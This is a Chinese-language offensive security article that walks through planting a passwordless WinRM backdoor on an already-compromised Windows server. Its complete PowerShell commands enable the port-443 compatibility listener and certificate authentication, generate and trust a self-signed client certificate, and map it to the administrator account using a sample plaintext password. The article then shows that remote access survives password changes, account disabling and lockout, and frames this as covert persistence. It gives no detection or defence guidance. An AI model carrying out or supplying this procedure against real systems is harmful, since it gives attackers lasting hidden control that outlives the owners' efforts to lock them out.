作者:360漏洞研究院 cldog,freexploit
原文鏈接:https://vul.360.net/archives/95

本文主要介紹基于證書認證的無密碼Winrm后門認證實現。無密碼認證的特性,決定了其在隱蔽維持方面的天然優勢,研究員在測試中甚至發現即使證書申請賬戶的密碼被修改、賬戶被禁用、鎖定等其他惡劣對抗環境,在一定較長時間內仍然可以通過之前生成的舊證書私鑰與目標建立認證;同時結合Winrm的443端口復用Listener,可實現內網環境對公網NAT開放的網站系統如Exchange、Sharepoint等進行隱蔽的權限維持。

0x01. 基本原理介紹

WinRM全稱是Windows Remote Management,是微軟服務器硬件管理功能的一部分,能夠對本地或遠程的服務器進行管理。WinRM服務能夠讓管理員遠程登錄Windows操作系統,獲得一個類似Telnet的交互式命令行shell,而底層通訊協議使用的是HTTP。

在Windows 的遠程管理服務WinRM的基礎上,使用擁有客戶端身份認證 EKU 的證書,配合HTTP.sys驅動的端口復用,即可實現無密碼的Winrm證書認證后門。

0x02.原有的Winrm后門技術實現及思考

基于用戶名/密碼認證的Winrm后門技術已成為經典手法,同時配合HTTP.sys驅動所實現的端口復用功能也被公眾熟知。整體來看,當前針對Winrm后門,給出的技術方案基本包括以下幾點:

1、基礎的用戶名/密碼認證后門;

2、結合HTTP.sys驅動的端口復用后門;

3、由用戶名/密碼認證所延伸出的用戶名/哈希認證后門;

4、解決Winrm UAC的后門輔助技巧。

現有的Winrm解決方案從根本上來說都是以用戶名/密碼或者HASH為根基,其缺點也較為明顯,一旦用戶密碼修改即可使得winrm認證失效。針對該問題,研究員通過查閱Microsoft TECHNET發現Winrm還支持證書認證,測試了可以通過配置證書認證的方式實現無需密碼認證的Winrm解決方案。

該方案整體利用思路如下:

1、服務端啟用443復用Listener或傳統https Listener,且開啟證書認證;

2、服務端配置證書認證;

3、客戶端利用證書登錄;

4、完美后門驗證。

接下來將逐一進行介紹,介紹過程中將以443復用Listener后門為例,傳統https Listener后門配置基本相同,這里不再介紹。

0x03. 啟用服務器Listener與Cerification Auth

以下所有配置過程基于以下場景:

  • 目標服務器IP為:192.168.60.200
  • 已經獲得該機器上administrator權限
  • 該主機已經配置IIS服務,具備https站點 對外開放443端口

默認情況下,在Windows 2012以上的服務器操作系統中,WinRM服務默認啟動并監聽了5985端口,可以省略這一步。對于Windows 2008來說,需要使用命令來啟動WinRM服務,快速配置和啟動的命令是winrm quickconfig -q,這條命令運行后會自動添加防火墻例外規則,放行5985端口。

(1)可通過以下命令查看當前Listener,如圖一:

winrm e winrm/config/listener

img

圖一

可見,默認只有5985端口的HTTP Listener,Winrm服務并不會創建443兼容Listener。

(2)可通過以下命令創建443兼容Listener,如圖二:

winrm set winrm/config/service '@{EnableCompatibilityHttpsListener="true"}'

img

圖二

發現已經成功啟用443端口兼容Listener。

(3)默認情況下,Winrm服務端同樣不會啟用Certification Auth認證方式。使用如下命令查看當前啟用的認證方式 ,如圖三:

winrm get winrm/config/service/auth

img

圖三

發現目前尚未啟用Certification Auth。

(4)可通過以下命令啟用Certification Auth認證方式 ,如圖四:

Set-Item -Path WSMan:\localhost\Service\Auth\Certificate -Value $true

img

圖四

0x04. 配置證書認證

在啟用服務器Listener與Cerification Auth后,接下來需要生成客戶端證書并配置服務端證書認證,主要涉及兩個方面:

1、客戶端證書生成

2、將服務器用戶與客戶端證書形成映射

  • 首先生成客戶端證書 ,如圖五:
$winClientCert = New-SelfSignedCertificate -Type Custom -Subject "CN=administrator" -TextExtension @("2.5.29.37={text}1.3.6.1.5.5.7.3.2","2.5.29.17={text}upn=administrator@localhost") -KeyUsage DigitalSignature,KeyEncipherment -CertStoreLocation Cert:\CurrentUser\My\

img

圖五

  • 將生成的證書公鑰導出 ,如圖六:
Export-Certificate -Cert Cert:\CurrentUser\My\12DF3BF619B91BA2E8FAC9C52CF086F437CCC995 -FilePath C:\Windows\Temp\public.crt

img

圖六

  • 將公鑰復制到Winrm服務器,驗證無誤后,并將其導入。

(1)驗證公鑰指紋,如圖七:

$winClientCert = Get-PfxCertificate C:\Users\administrator.TEST\Desktop\public.crt

img

圖七

(2) 導入證書 ,如圖八:

Import-Certificate -FilePath C:\Users\administrator.TEST\Desktop\public.crt -CertStoreLocation Cert:\LocalMachine\Root
Import-Certificate -FilePath C:\Users\administrator.TEST\Desktop\public.crt -CertStoreLocation Cert:\LocalMachine\TrustedPeople

img

圖八

  • 建立客戶端證書與服務器用戶映射,如圖九:
New-Item -Path WSMan:\localhost\ClientCertificate -Subject "administrator@localhost" -URI * -Issuer ((Get-PfxCertificate C:\Users\administrator.TEST\Desktop\public.crt).Thumbprint) -Credential (New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "192.168.60.200\administrator", (ConvertTo-SecureString -String "Aa123.com" -AsPlainText -Force)) –Force

此處的Aa123.com為administrator密碼

img

圖九

  • 至此服務端全部配置已經完成,同時檢測IIS的web服務也能完全正常運行,如圖十:

img

圖十

0x05. 客戶端利用證書登錄

在以上步驟完成之后,客戶端即可使用生成的證書以administrator身份實現Winrm遠程登錄。

默認客戶端已啟用Certificate 認證方式,同樣可通過以下命令查看、啟用該認證方式,如圖十一:

winrm get winrm/config/client/auth
Set-Item -Path WSMan:\localhost\Client\Auth\Certificate -Value $true

img

圖十一

Winrm遠程登錄命令如下,如圖十二:

Enter-PSSession -ComputerName 192.168.60.200 -Port 443 -UseSSL -CertificateThumbprint 12DF3BF619B91BA2E8FAC9C52CF086F437CCC995 -SessionOption (New-PSSessionOption -SkipCACheck -SkipCNCheck)

img

圖十二

成功利用證書完成認證登錄。

0x06. 完美后門驗證

針對現有Winrm后門修改密碼立即失效的尷尬場景,本文后門方案一定程度上解決了這個問題,因為研究員發現,在用戶密碼修改、禁用、用戶鎖定等惡劣對抗環境中仍展現出優秀能力:

  • 針對用戶密碼被修改的場景

經測試,在多次修改administrator密碼后,利用之前的客戶端證書成功認證登錄,如圖十三、圖十四:

img

圖十三

img

圖十四

  • 針對用戶被禁用的場景

在使用該用戶身份與客戶端證書形成映射后,將該用戶禁用,利用之前的客戶端證書成功認證登錄,如圖十五:

img

圖十五

  • 針對用戶被鎖定的場景

在使用該用戶身份與客戶端證書形成映射后,然后利用組策略等方法將該用戶禁用,再測試利用之前的客戶端證書仍然可以成功認證登錄,如圖十六:

img

圖十六

可以發現,利用該后門方案配置后,無論目標服務器用戶如何變更,經測試在一定時間內,均可以認證成功,可達到對目標的隱蔽權限維持。

利用條件:

獲得目標主機administrator會話權限/密碼/HASH

目標主機Winrm服務的 https Listener (443兼容Listener或傳統 https Listener 均可)可被訪問


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1692/